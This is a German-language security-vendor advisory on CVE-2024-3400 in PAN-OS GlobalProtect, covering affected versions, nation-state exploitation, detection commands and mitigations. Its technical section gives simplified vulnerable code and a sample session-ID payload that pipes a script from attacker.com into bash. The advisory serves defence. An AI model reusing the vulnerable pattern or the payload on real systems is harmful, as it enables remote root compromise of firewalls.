剣 KENSAI
Critical CVE-2024-3400 January 2026 · 9 min read

CVE-2024-3400: Palo Alto PAN-OS Command Injection — CVSS 10.0

CVE-2024-3400 ist eine OS-Command-Injection-Schwachstelle mit maximalem Schweregrad im GlobalProtect-Gateway von Palo Alto Networks PAN-OS. Ein unauthentifizierter Angreifer kann beliebige OS-Befehle als root ohne jede Interaktion ausführen. Vor der Offenlegung von UTA0218 (wahrscheinlich staatlich gesponsert) ausgenutzt.


10.0
CRITICAL (MAX)
AttributWert
CVE-IDCVE-2024-3400
CVSS-VektorAV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CWECWE-77: OS Command Injection
Veröffentlicht12. April 2024
AusnutzungAktiv — CISA KEV, Ausnutzung durch Nationalstaaten

Was ist CVE-2024-3400?

CVE-2024-3400 betrifft die GlobalProtect-Funktion von Palo Alto Networks PAN-OS. Wenn GlobalProtect als Gateway oder Portal konfiguriert ist, kann ein unauthentifizierter Remote-Angreifer beliebige OS-Befehle injizieren, die mit root-Rechten auf der Firewall-Appliance ausgeführt werden.

Die Kombination der Faktoren — keine Authentifizierung erforderlich, netzwerkzugänglich, geänderter Scope, maximaler Impact auf Vertraulichkeit, Integrität und Verfügbarkeit — ergibt einen perfekten CVSS-10.0-Score. Unter Firewall-Herstellern haben nur eine Handvoll Schwachstellen je diesen Score erhalten.

🚨 Nationalstaats-Ausnutzung vor Patch-Verfügbarkeit

Volexity entdeckte diese Schwachstelle bei der Reaktion auf einen Vorfall, bei dem UTA0218, ein versierter Threat-Actor, eine neuartige Python-Backdoor namens UPSTYLE auf kompromittierten PAN-OS-Geräten eingesetzt hatte. Der Angreifer nutzte die Firewall als Pivot-Punkt, um auf interne Netzwerke zuzugreifen, Active-Directory-Credentials zu stehlen und sensible Daten zu exfiltrieren. Volexity schätzt, dass die Ausnutzung Ende März 2024 begann — Wochen, bevor Palo Alto benachrichtigt wurde.

Betroffene Systeme

PAN-OS-VersionBetroffen (GlobalProtect aktiviert)Behobene Version
PAN-OS 11.1< 11.1.2-h311.1.2-h3+
PAN-OS 11.0< 11.0.4-h111.0.4-h1+
PAN-OS 10.2< 10.2.9-h110.2.9-h1+
PAN-OS 10.1< 10.1.14-h410.1.14-h4+

Voraussetzung: Ein GlobalProtect-Gateway oder -Portal muss konfiguriert sein (show global-protect-gateway current-user liefert Ergebnisse). Organisationen, die GlobalProtect nicht konfiguriert haben, sind nicht betroffen.

Technische Analyse

Der Injektionspunkt liegt im Code zur GlobalProtect-Session-Behandlung. Wenn eine GlobalProtect-Session aufgebaut wird, werden bestimmte Session-Attribute in temporäre Dateien auf der Firewall geschrieben. Der Code, der den Dateipfad für diese Session-Dateien konstruiert, bereinigt den teilweise angreiferkontrollierten Session-Identifier nicht korrekt.

# Simplified vulnerable file path construction
SESSION_ID = request.cookie["SESSID"]  # Attacker-controlled
session_file = f"/var/appweb/sslvpndocs/global-protect/{SESSION_ID}.log"
os.system(f"echo 'connected' >> {session_file}")  # Command injection here

# Attacker crafts session ID containing shell metacharacters:
# SESSION_ID = "../../tmp/evil;curl http://attacker.com/shell.sh|bash;"

Die von UTA0218 installierte UPSTYLE-Backdoor nutzte einen neuartigen Persistenz-Mechanismus: ein Python-Skript, das Webserver-Zugriffs-Logs auf bestimmte Request-Muster (mit einem verschlüsselten Befehl) überwachte, die Befehle ausführte und dann den ursprünglichen Dateiinhalt wiederherstellte, um Spuren der Aktivität zu entfernen.

Post-Exploitation-Aktivität (UTA0218)

Volexity dokumentierte die folgende Post-Exploitation-Sequenz von Nationalstaats-Akteuren:

Erkennung

PAN-OS-Log-Analyse

# Check for UPSTYLE backdoor artifacts
find / -name "*.py" -newer /etc/passwd -not -path "*/site-packages/*" 2>/dev/null

# Suspicious traffic in GlobalProtect logs
grep -i "curl\|wget\|python\|bash" /var/log/pan/sslvpn.log

# Modified system files (UPSTYLE modifies then restores)
# Check for recent access times on web server files
find /var/appweb -atime -7 -name "*.php" -o -name "*.py"

Threat-Hunting-Queries

Mitigation

  1. Sofort patchen: Wenden Sie die oben aufgeführten Hotfix-Versionen an. Dies ist ein CVSS 10.0 mit aktiver Ausnutzung — es gibt keine akzeptable Verzögerung.
  2. Threat-Prevention-Zwischenlösung: Aktivieren Sie für ungepatchte Geräte Threat Prevention mit Security-Profilen auf GlobalProtect-Interfaces. Palo Alto stellte spezifische Threat-ID-Signaturen bereit.
  3. GlobalProtect deaktivieren, falls nicht benötigt: Organisationen, die GlobalProtect nicht aktiv nutzen, können die Funktion vorübergehend als Workaround deaktivieren.
  4. Firewall-Dateien auditieren: Führen Sie das von Palo Alto bereitgestellte Skript aus, um auf UPSTYLE und andere Post-Exploitation-Artefakte zu prüfen.
  5. Alle Credentials rotieren: Alle in der Firewall-Konfiguration gespeicherten Credentials (VPN-Zertifikate, LDAP-Bind-Credentials usw.) müssen als kompromittiert gelten.

💡 CISA-Notfalldirektive: CISA erließ die Emergency Directive 24-03, die alle US-Bundesbehörden verpflichtete, bis zum 19. April 2024 Patches oder Mitigationen anzuwenden. Die Dringlichkeit spiegelt den Schweregrad und die aktive Ausnutzung durch versierte Threat-Actors wider.

KENSAI-Erkennungsfähigkeit

Ist Ihre Palo-Alto-Infrastruktur für CVE-2024-3400 exponiert?

KENSAI identifiziert sofort internet-gerichtete PAN-OS-Geräte, die für Command-Injection verwundbar sind. Warten Sie nicht, bis Threat-Actors sie zuerst finden.

Jetzt Ihren Perimeter scannen →

Related Articles

AI-Assisted Malware Industrialization: Transparent Redirecting... KENSAI vs SonarQube: 2025 के लिए...